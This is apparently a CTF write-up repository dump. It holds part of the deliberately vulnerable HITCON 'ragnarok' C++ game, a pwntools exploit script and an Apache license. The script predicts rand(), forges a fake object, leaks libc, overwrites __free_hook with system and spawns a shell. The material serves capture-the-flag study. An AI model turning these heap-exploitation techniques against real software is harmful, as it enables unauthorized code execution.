(this)); 174 | } 175 | if(!weapon.compare("Sleiphnir")){ 176 | add_hp(300); 177 | } 178 | cout << "Done !" << endl ; 179 | }else{ 180 | cout << "You already have weapons" << endl ; 181 | } 182 | } 183 | 184 | ~Odin(){ 185 | }; 186 | }; 187 | 188 | class Thor: public Figure { 189 | public : 190 | Thor(){ 191 | name = "Thor" ; 192 | desc = "Thor's skill is to damage the enemy" ; 193 | atk = 2510 ; 194 | hp = 5891 ; 195 | mp = 1024 ; 196 | def = 800 ; 197 | }; 198 | 199 | Thor(string figureweapon){ 200 | name = "Thor" ; 201 | desc = "Thor's skill is to damage the enemy" ; 202 | atk = 2510 ; 203 | hp = 5891 ; 204 | mp = 1024 ; 205 | def = 800 ; 206 | add_weapon(figureweapon); 207 | }; 208 | 209 | void cast_spell(shared_ptr
figure){ 210 | if(mp >= 800){ 211 | this->add_mp(-800); 212 | figure->add_hp(-3000); 213 | cout << "\033[35m" << figure->get_name() << ": (hp-3000)\033[0m" << endl; 214 | }else{ 215 | cout << "You have no power !" << endl ; 216 | } 217 | } 218 | 219 | virtual void add_weapon(string str){ 220 | if(weapon.empty()){ 221 | weapon = str ; 222 | if(!weapon.compare("Mjollnir")){ 223 | add_atk(800); 224 | } 225 | if(!weapon.compare("Larngreiper")){ 226 | add_hp(800); 227 | add_def(200); 228 | } 229 | if(!weapon.compare("Megingjord")){ 230 | add_mp(2170); 231 | } 232 | cout << "Done !" << endl ; 233 | }else{ 234 | cout << "You already have weapons" << endl ; 235 | } 236 | } 237 | 238 | ~Thor(){ 239 | }; 240 | }; 241 | 242 | class Freyr: public Figure { 243 | public : 244 | Freyr(){ 245 | name = "Freyr" ; 246 | desc = "Freyr's skill is to decrease hp & increase atk" ; 247 | atk = 217 ; 248 | hp = 8888 ; 249 | mp = 2017 ; 250 | def = 1200 ; 251 | }; 252 | 253 | Freyr(string figureweapon){ 254 | name = "Freyr" ; 255 | desc = "Freyr's skill is to decrease hp & increase atk" ; 256 | atk = 217 ; 257 | hp = 8888 ; 258 | mp = 2017 ; 259 | def = 1200 ; 260 | add_weapon(figureweapon); 261 | }; 262 | 263 | void cast_spell(shared_ptr
figure){ 264 | if(mp >= 1000){ 265 | add_mp(-1000); 266 | figure->add_hp(-5000); 267 | figure->add_atk(4000); 268 | cout << "\033[35m" << figure->get_name() << ": (hp-5000,atk+4000)\033[0m" << endl; 269 | }else{ 270 | cout << "You have no power !" << endl ; 271 | } 272 | } 273 | 274 | virtual void add_weapon(string str){ 275 | if(weapon.empty()){ 276 | weapon = str ; 277 | if(!weapon.compare("Skidbladnir")){ 278 | add_hp(4000); 279 | add_atk(-200); 280 | } 281 | if(!weapon.compare("Gullinbursti")){ 282 | rate *= 4 ; 283 | } 284 | if(!weapon.compare("Laevateinn")){ 285 | add_atk(1000); 286 | add_hp(-1500); 287 | } 288 | if(!weapon.compare("Bllodyhoof")){ 289 | add_hp(2170); 290 | add_def(400); 291 | } 292 | cout << "Done !" << endl ; 293 | }else{ 294 | cout << "You already have weapons" << endl ; 295 | } 296 | } 297 | 298 | ~Freyr(){ 299 | if(!weapon.empty()){ 300 | if(!weapon.compare("Gullinbursti")){ 301 | rate /= 4 ; 302 | } 303 | 304 | } 305 | }; 306 | }; 307 | //Enemy 308 | class Fenrir : public Figure { 309 | public : 310 | Fenrir(){ 311 | name = "Fenrir" ; 312 | desc = "Fenrir's skill is to damage the enemy" ; 313 | atk = 1024 ; 314 | hp = 8192 ; 315 | mp = 4212 ; 316 | def = 700 ; 317 | }; 318 | 319 | Fenrir(string figureweapon){ 320 | name = "Fenrir" ; 321 | desc = "Fenrir's skill is to damage the enemy" ; 322 | atk = 1024 ; 323 | hp = 8192 ; 324 | mp = 4212 ; 325 | def = 700 ; 326 | add_weapon(figureweapon); 327 | }; 328 | 329 | void cast_spell(shared_ptr
figure){ 330 | if(mp >= 1500){ 331 | add_mp(-1500); 332 | figure->add_hp(-6000); 333 | cout << "\033[35m" << figure->get_name() << ": (hp-6000)\033[0m" << endl; 334 | }else{ 335 | cout << "You have no power !" << endl; 336 | } 337 | } 338 | 339 | virtual void add_weapon(string str){ 340 | if(weapon.empty()){ 341 | weapon = str ; 342 | if(!weapon.compare("Spike")){ 343 | add_atk(1024); 344 | add_def(300); 345 | } 346 | }else{ 347 | cout << "You already have weapons" << endl ; 348 | 349 | } 350 | } 351 | 352 | ~Fenrir(){ 353 | }; 354 | 355 | }; 356 | 357 | class Loki : public Figure { 358 | public : 359 | Loki(){ 360 | name = "Loki" ; 361 | desc = "Loki's skill is to increase atk & def" ; 362 | atk = 2024 ; 363 | hp = 55660 ; 364 | mp = 5566 ; 365 | def = 666 ; 366 | }; 367 | 368 | Loki(string figureweapon){ 369 | name = "Loki" ; 370 | desc = "Loki's skill is to increase atk & def" ; 371 | atk = 2024 ; 372 | hp = 5566 ; 373 | mp = 5566 ; 374 | def = 666 ; 375 | add_weapon(figureweapon); 376 | }; 377 | 378 | void cast_spell(shared_ptr
figure){ 379 | if(mp >= 1500){ 380 | add_mp(-1500); 381 | add_atk(3000); 382 | add_def(300); 383 | cout << "\033[35m" << get_name() << ": (atk+3000,def+300)\033[0m" << endl; 384 | }else{ 385 | cout << "You have no power !" << endl ; 386 | } 387 | } 388 | 389 | virtual void add_weapon(string str){ 390 | if(weapon.empty()){ 391 | weapon = str ; 392 | if(!weapon.compare("Sif's hair")){ 393 | add_hp(1024); 394 | add_def(300); 395 | } 396 | if(!weapon.compare("Gungnir")){ 397 | cast_spell(shared_ptr(this)); 398 | } 399 | }else{ 400 | cout << "You already have weapons" << endl ; 401 | 402 | } 403 | } 404 | 405 | ~Loki(){ 406 | }; 407 | 408 | 409 | }; 410 | 411 | class Jormungandr : public Figure { 412 | public : 413 | Jormungandr(){ 414 | name = "Jormungandr" ; 415 | desc = "Jormungandr's skill is to increase hp" ; 416 | atk = 4024 ; 417 | hp = 6566 ; 418 | mp = 4123 ; 419 | def = 777 ; 420 | }; 421 | 422 | Jormungandr(string figureweapon){ 423 | name = "Jormungandr" ; 424 | desc = "Jormungandr's skill is to increase hp" ; 425 | atk = 4024 ; 426 | hp = 6445 ; 427 | mp = 4123 ; 428 | def = 777 ; 429 | add_weapon(figureweapon); 430 | }; 431 | 432 | void cast_spell(shared_ptr
figure){ 433 | if(mp >= 800){ 434 | add_mp(-800); 435 | add_hp(3000); 436 | cout << "\033[35m" << get_name() << ": (hp+3000)\033[0m" << endl; 437 | }else{ 438 | cout << "You have no power !" << endl ; 439 | } 440 | } 441 | 442 | virtual void add_weapon(string str){ 443 | if(weapon.empty()){ 444 | weapon = str ; 445 | if(!weapon.compare("Tooth")){ 446 | add_atk(1024); 447 | add_hp(1024); 448 | } 449 | }else{ 450 | cout << "You already have weapons" << endl ; 451 | 452 | } 453 | } 454 | 455 | ~Jormungandr(){ 456 | }; 457 | 458 | 459 | }; 460 | 461 | 462 | 463 | void sig_alarm_handler(int signum){ 464 | cout << "Timeout" << endl ; 465 | exit(1); 466 | } 467 | 468 | void init(){ 469 | setvbuf(stdin,0,_IONBF,0); 470 | setvbuf(stdout,0,_IONBF,0); 471 | setvbuf(stderr,0,_IONBF,0); 472 | srand(time(NULL)); 473 | signal(SIGALRM,sig_alarm_handler); 474 | alarm(TIMEOUT); 475 | } 476 | 477 | void create_enemy(){ 478 | switch(rand() % 3+1){ 479 | case 1 : 480 | enemy = shared_ptr(new Fenrir("Spike")); 481 | break ; 482 | case 2 : 483 | enemy = shared_ptr(new Loki("Sif's hair")); 484 | break ; 485 | case 3 : 486 | enemy = shared_ptr(new Jormungandr("Tooth")); 487 | break ; 488 | } 489 | } 490 | 491 | void figure_list(){ 492 | cout << "*****************" << endl ; 493 | cout << " 1.Odin " << endl ; 494 | cout << " 2.Thor " << endl ; 495 | cout << " 3.Freyr " << endl ; 496 | cout << "*****************" << endl ; 497 | } 498 | 499 | int select_figure(){ 500 | unsigned int choice ; 501 | if(!character){ 502 | figure_list(); 503 | cout << "Choose your figure :" ; 504 | cin >> choice ; 505 | if(!cin.good()){ 506 | cout << "format error !" << endl ; 507 | _exit(-1); 508 | } 509 | switch(choice){ 510 | case 1 : 511 | character = shared_ptr(new Odin()); 512 | break ; 513 | case 2 : 514 | character = shared_ptr(new Thor()); 515 | break ; 516 | case 3 : 517 | character = shared_ptr(new Freyr()); 518 | break ; 519 | default : 520 | cout << "\033[31mInvaild choice\033[0m" << endl ; 521 | return 0 ; 522 | } 523 | cout << "Done !" << endl ; 524 | }else{ 525 | cout << "You have selected a figure !" << endl; 526 | } 527 | return 1 ; 528 | } 529 | 530 | void show_figure(){ 531 | if(!name.empty()){ 532 | cout << "------------- The highest record -------------" << endl ; 533 | cout << " Name : " << name << endl ; 534 | cout << " Money : " << highest << endl ; 535 | cout << "----------------------------------------------" << endl ; 536 | } 537 | cout << "Current money : " << money << endl ; 538 | if(character){ 539 | character->info(); 540 | }else{ 541 | cout << "You need to select a character first !" << endl ; 542 | } 543 | } 544 | 545 | void change_descript(){ 546 | string desc ; 547 | if(character){ 548 | cout << "Description : " ; 549 | cin >> desc ; 550 | character->change_desc(desc); 551 | }else{ 552 | cout << "You need to select a character first !" << endl ; 553 | } 554 | } 555 | 556 | void make_weapon(){ 557 | string weapon ; 558 | if(character){ 559 | if(money >= 133700){ 560 | cout << "Name of your weapon :" ; 561 | cin.ignore(); 562 | getline(cin,weapon); 563 | character->add_weapon(weapon); 564 | money -= 133700 ; 565 | }else { 566 | cout << "You need to get more money !" << endl; 567 | } 568 | }else{ 569 | cout << "You need to select a character first !" << endl ; 570 | } 571 | } 572 | 573 | void cast(){ 574 | unsigned int choice ; 575 | cout << "===========================" << endl ; 576 | cout << " 1. Enemy " << endl ; 577 | cout << " 2. Self " << endl ; 578 | cout << "===========================" << endl ; 579 | cout << "Target :" ; 580 | cin >> choice ; 581 | switch(choice){ 582 | case 1 : 583 | for(int i = 0 ; i < 10 ; i++){ 584 | usleep(100000); 585 | cout << "!!!" ; 586 | } 587 | cout << endl ; 588 | character->cast_spell(enemy); 589 | break ; 590 | case 2 : 591 | for(int i = 0 ; i < 10 ; i++){ 592 | usleep(100000); 593 | cout << "!!!" ; 594 | } 595 | cout << endl ; 596 | character->cast_spell(character); 597 | break ; 598 | default : 599 | cout << "Invalid choice ! " << endl ; 600 | return ; 601 | } 602 | 603 | } 604 | 605 | void set_name(){ 606 | if(name.empty()){ 607 | cout << "Name :" ; 608 | cin >> name ; 609 | }else{ 610 | cout << "Your name is " << name << endl; 611 | } 612 | } 613 | 614 | void fight_menu(){ 615 | cout << "###########################" << endl ; 616 | cout << " Action " << endl ; 617 | cout << "###########################" << endl ; 618 | cout << " 1. Attack " << endl ; 619 | cout << " 2. Defense " << endl ; 620 | cout << " 3. Cast Spell " << endl ; 621 | cout << " 4. Run " << endl ; 622 | cout << "###########################" << endl ; 623 | 624 | } 625 | 626 | void fight_enemy(){ 627 | unsigned int status ; 628 | int fd ; 629 | int choice ; 630 | if(character){ 631 | while(1){ 632 | cout << "============================================" << endl ; 633 | cout << "Enemy Info : " << endl ; 634 | enemy->info(); 635 | cout << "============================================" << endl ; 636 | cout << "Your Info : " << endl ; 637 | character->info(); 638 | cout << "============================================" << endl ; 639 | fight_menu(); 640 | cout << "Your choice : "; 641 | cin >> choice ; 642 | if(!cin.good()){ 643 | cout << "format error !" << endl; 644 | _exit(0); 645 | } 646 | // Your round 647 | switch(choice){ 648 | case 1 : 649 | cout << "\033[33mYou damage enemy !\033[0m" << endl ; 650 | character->damage(enemy); 651 | break ; 652 | case 2 : 653 | cout << "\033[33mIncrese your hp and def\033[0m" << endl ; 654 | character->defense(); 655 | break ; 656 | case 3 : 657 | cast(); 658 | break ; 659 | case 4 : 660 | return ; 661 | break ; 662 | default : 663 | cout << "Invalid choice !" << endl ; 664 | break ; 665 | } 666 | // enemy round 667 | status = rand() % 3 ; 668 | switch(status){ 669 | case 0 : 670 | cout << "\033[33mEnemy attack you !\033[0m" << endl ; 671 | enemy->damage(character); 672 | break ; 673 | case 1 : 674 | cout << "\033[33mEnemy defense !\033[0m" << endl; 675 | enemy->defense(); 676 | break ; 677 | case 2 : 678 | cout << "\033[33mEnemy cast spell !\033[0m" << endl; 679 | enemy->cast_spell(character); 680 | break ; 681 | } 682 | if(character->get_hp() < 0){ 683 | cout << "\033[31mYou died !\033[0m" << endl ; 684 | character = NULL ; 685 | cout << "\033[33mDo you want to continue ? (0:No/1:Yes)\033[0m :" ; 686 | cin >> choice ; 687 | if(!cin.good()){ 688 | cout << "format error !" << endl; 689 | _exit(0); 690 | } 691 | if(choice == 1){ 692 | if(money >= 217){ 693 | money -= 217 ; 694 | return ; 695 | }else{ 696 | cout << "You do not have enough money !" << endl ; 697 | } 698 | } 699 | cout << "\033[31m = = = = = = Game Over = = = = = = \033[0m" << endl ; 700 | exit(0); 701 | 702 | } 703 | if(enemy->get_hp() < 0){ 704 | cout << "\033[33m You win !\033[0m" << endl ; 705 | enemy = NULL ; 706 | cout << "Something for you :)" << endl ; 707 | 708 | money += 133700 ; 709 | if(money > highest){ 710 | cout << "Record your score ~" << endl ; 711 | set_name(); 712 | highest = money ; 713 | } 714 | if(money > 0x55555555){ 715 | fd = open(FLAG,0); 716 | char *buf = new char[100] ; 717 | read(fd,buf,80); 718 | free(buf); 719 | close(fd); 720 | } 721 | 722 | create_enemy(); 723 | cout << "New enemy has borned ! " << endl ; 724 | return ; 725 | } 726 | } 727 | }else{ 728 | cout << "You need to select a character first !" << endl ; 729 | } 730 | } 731 | 732 | 733 | 734 | 735 | void read_input(char *buf,unsigned int size){ 736 | int ret ; 737 | ret = read(0,buf,size); 738 | if(ret <= 0){ 739 | puts("read error"); 740 | _exit(1); 741 | } 742 | } 743 | 744 | void print_h(char c){ 745 | printf(" %c %c \n",c,c); 746 | printf(" %c %c \n",c,c); 747 | printf(" %c%c%c%c%c%c%c \n",c,c,c,c,c,c,c); 748 | printf(" %c %c \n",c,c); 749 | printf(" %c %c \n",c,c); 750 | } 751 | 752 | void print_i(char c){ 753 | printf(" %c%c%c \n",c,c,c); 754 | printf(" %c \n",c); 755 | printf(" %c \n",c); 756 | printf(" %c \n",c); 757 | printf(" %c%c%c \n",c,c,c); 758 | } 759 | void print_t(char c){ 760 | printf(" %c%c%c%c%c%c%c \n",c,c,c,c,c,c,c); 761 | printf(" %c \n",c); 762 | printf(" %c \n",c); 763 | printf(" %c \n",c); 764 | printf(" %c \n",c); 765 | 766 | } 767 | void print_c(char c){ 768 | printf(" %c%c%c%c \n",c,c,c,c); 769 | printf(" %c \n",c); 770 | printf(" %c \n",c); 771 | printf(" %c \n",c); 772 | printf(" %c%c%c%c \n",c,c,c,c); 773 | } 774 | 775 | void print_o(char c){ 776 | printf(" %c%c%c%c \n",c,c,c,c); 777 | printf(" %c %c \n",c,c); 778 | printf(" %c %c\n",c,c); 779 | printf(" %c %c \n",c,c); 780 | printf(" %c%c%c%c \n",c,c,c,c); 781 | 782 | } 783 | void print_n(char c){ 784 | printf(" %c %c \n",c,c); 785 | printf(" %c %c%c \n",c,c,c); 786 | printf(" %c %c %c \n",c,c,c); 787 | printf(" %c%c %c \n",c,c,c); 788 | printf(" %c %c \n",c,c); 789 | } 790 | 791 | 792 | 793 | 794 | void money_gen(){ 795 | char *charset = "hitcon"; 796 | char buf[8]; 797 | char c; 798 | int idx ; 799 | int padding ; 800 | map> fptr = { 801 | {0,print_h}, 802 | {1,print_i}, 803 | {2,print_t}, 804 | {3,print_c}, 805 | {4,print_o}, 806 | {5,print_n} 807 | }; 808 | if(money > 0x50000000){ 809 | cout << "Your money is too much !" << endl; 810 | return ; 811 | } 812 | cout << "You need to input a charactor which is same as the asciiart to get the power" << endl ; 813 | cout << "Enter \"q\" to leave the station" << endl ; 814 | while(true){ 815 | usleep(100000); 816 | idx = rand() % 6 ; 817 | c = rand() % 0x5e + 0x21; 818 | padding = rand() % 0x42 ; 819 | cout << "***************************" << endl; 820 | fptr[idx](c); 821 | cout << "***************************" << endl ; 822 | cout << "Magic : " ; 823 | read_input(buf,2); 824 | if(buf[0] == 'q') 825 | break; 826 | if(buf[0] == charset[idx]){ 827 | money += rate ; 828 | cout << "Get money !" << endl ; 829 | cout << "Your money : " << money << endl; 830 | }else{ 831 | cout << "Boom !!!" << endl ; 832 | if(money > 1000){ 833 | money -= 1000 ; 834 | }else{ 835 | money = 0 ; 836 | } 837 | return ; 838 | } 839 | } 840 | } 841 | 842 | 843 | 844 | 845 | void main_menu(){ 846 | cout << endl ; 847 | cout << "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" << endl ; 848 | cout << " RAGNAROK " << endl ; 849 | cout << "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" << endl ; 850 | cout << "@ @" << endl ; 851 | cout << "@ 1. Choose your figure @" << endl ; 852 | cout << "@ 2. Show your info @" << endl ; 853 | cout << "@ 3. Earn money @" << endl ; 854 | cout << "@ 4. Make & Equip weapon @" << endl ; 855 | cout << "@ 5. Fight against the enemy @" << endl ; 856 | cout << "@ 6. Change your description @" << endl ; 857 | cout << "@ 7. Give up @" << endl ; 858 | cout << "@ @" << endl ; 859 | cout << "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" << endl ; 860 | } 861 | 862 | int main(){ 863 | unsigned int choice ; 864 | init(); 865 | create_enemy(); 866 | while(1){ 867 | main_menu(); 868 | cout << "Your choice :" ; 869 | cin >> choice ; 870 | cout << endl ; 871 | if(!cin.good()){ 872 | cout << "format error !" << endl; 873 | _exit(0); 874 | } 875 | switch(choice){ 876 | case 1 : 877 | select_figure(); 878 | break ; 879 | case 2 : 880 | show_figure(); 881 | break ; 882 | case 3 : 883 | money_gen(); 884 | break ; 885 | case 4 : 886 | make_weapon(); 887 | break ; 888 | case 5 : 889 | fight_enemy(); 890 | break ; 891 | case 6 : 892 | change_descript(); 893 | break ; 894 | case 7 : 895 | cout << "\033[34mGoodbye\033[0m" << endl ; 896 | _exit(0); 897 | default : 898 | cout << "\033[31mInvaild choice\033[0m" << endl ; 899 | break ; 900 | } 901 | } 902 | return 0 ; 903 | } 904 | -------------------------------------------------------------------------------- /HITCON/ragnarok/ragnarok.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from ctypes import * 3 | 4 | def select(idx): 5 | r.sendline("1") 6 | print r.recvuntil("figure :") 7 | r.sendline(str(idx)) 8 | print r.recvuntil("choice :") 9 | 10 | def win(name): 11 | r.sendline("5") 12 | print r.recvuntil("choice : ") 13 | r.sendline("3") 14 | print r.recvuntil("Target :") 15 | r.sendline("1") 16 | sleep(1) 17 | clib.rand() 18 | print r.recvuntil("choice : ") 19 | r.sendline("3") 20 | print r.recvuntil("Target :") 21 | r.sendline("1") 22 | sleep(1.5) 23 | clib.rand() 24 | rv = r.recv(1024) 25 | 26 | if "win" in rv: 27 | r.sendline(name) 28 | print r.recvuntil("choice :") 29 | clib.rand() 30 | return 1 31 | 32 | return 0 33 | 34 | def lose(): 35 | r.sendline("5") 36 | while True: 37 | sleep(0.1) 38 | rv = r.recv(1024) 39 | print rv 40 | 41 | if "died" in rv: 42 | r.sendline("1") 43 | print r.recvuntil("choice :") 44 | return 45 | 46 | r.sendline("1") 47 | 48 | def earnMoney(times): 49 | r.sendline("3") 50 | sarr = ["h", "i", "t", "c", "o", "n"] 51 | 52 | for i in xrange(times): 53 | idx = clib.rand() % 6 54 | clib.rand() 55 | clib.rand() 56 | print r.recvuntil("Magic : ") 57 | r.sendline(sarr[idx]) 58 | 59 | r.sendline("p") 60 | print r.recvuntil("choice :") 61 | 62 | def equipWeapon(weapon): 63 | r.sendline("4") 64 | print r.recvuntil("weapon :") 65 | r.sendline(weapon) 66 | print r.recvuntil("choice :") 67 | 68 | def changeDescription(description): 69 | r.sendline("6") 70 | print r.recvuntil("Description : ") 71 | r.sendline(description) 72 | print r.recvuntil("choice :") 73 | 74 | while True: 75 | clib = cdll.LoadLibrary("libc.so.6") 76 | 77 | r = process("./ragnarok") 78 | clib.srand(clib.time(0)) 79 | 80 | print r.recvuntil("choice :") 81 | print str(clib.rand() % 3 + 1) 82 | 83 | select(3) 84 | rt = win("mathboy7") 85 | 86 | if(rt == 0): 87 | r.close() 88 | continue 89 | 90 | earnMoney(15) 91 | 92 | lose() 93 | 94 | select(1) # Odin 95 | 96 | equipWeapon("Gungnir") 97 | 98 | payload = p64(0x613690) # character ptr 99 | payload += "A"*8 + p64(0x610e40) + p64(8) + "A"*8 # 0x610e40 stand for name pointer 100 | payload += p64(0x613650) + p64(0x1000) + p64(0x1000) # set size for copy 101 | payload += p64(0x40c690) # 0x613690, vtbl, fake character object start 102 | payload += "\x00"*32 103 | payload += p64(0x613690+0x28) + p64(0x8) + p64(0x50) # fake desc 104 | changeDescription(payload) 105 | 106 | r.sendline("2") 107 | rv = r.recvuntil("\x7f")[-6:] 108 | libc = u64(rv + "\x00\x00") 109 | libc_base = libc - 0x71230 110 | free_hook = libc_base + 0x3c3788 111 | system = libc_base + 0x456a0 112 | 113 | print r.recvuntil("choice :") 114 | 115 | print "libc: " + hex(libc) 116 | 117 | changeDescription(p64(free_hook) + p64(0x1000) + p64(0x1000)) # overwrite desc ptr -> free_hook 118 | changeDescription(p64(system)) # overwrite free_hook -> system 119 | 120 | r.sendline("6") 121 | print r.recvuntil("Description : ") 122 | r.sendline("/bin/sh\x00"*10) 123 | 124 | r.interactive() 125 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF 2 | Write-up for Hardcore Pwnable&CryptoGraphy 3 | -------------------------------------------------------------------------------- /SECCON/video_player/.gitkeep: -------------------------------------------------------------------------------- 1 | 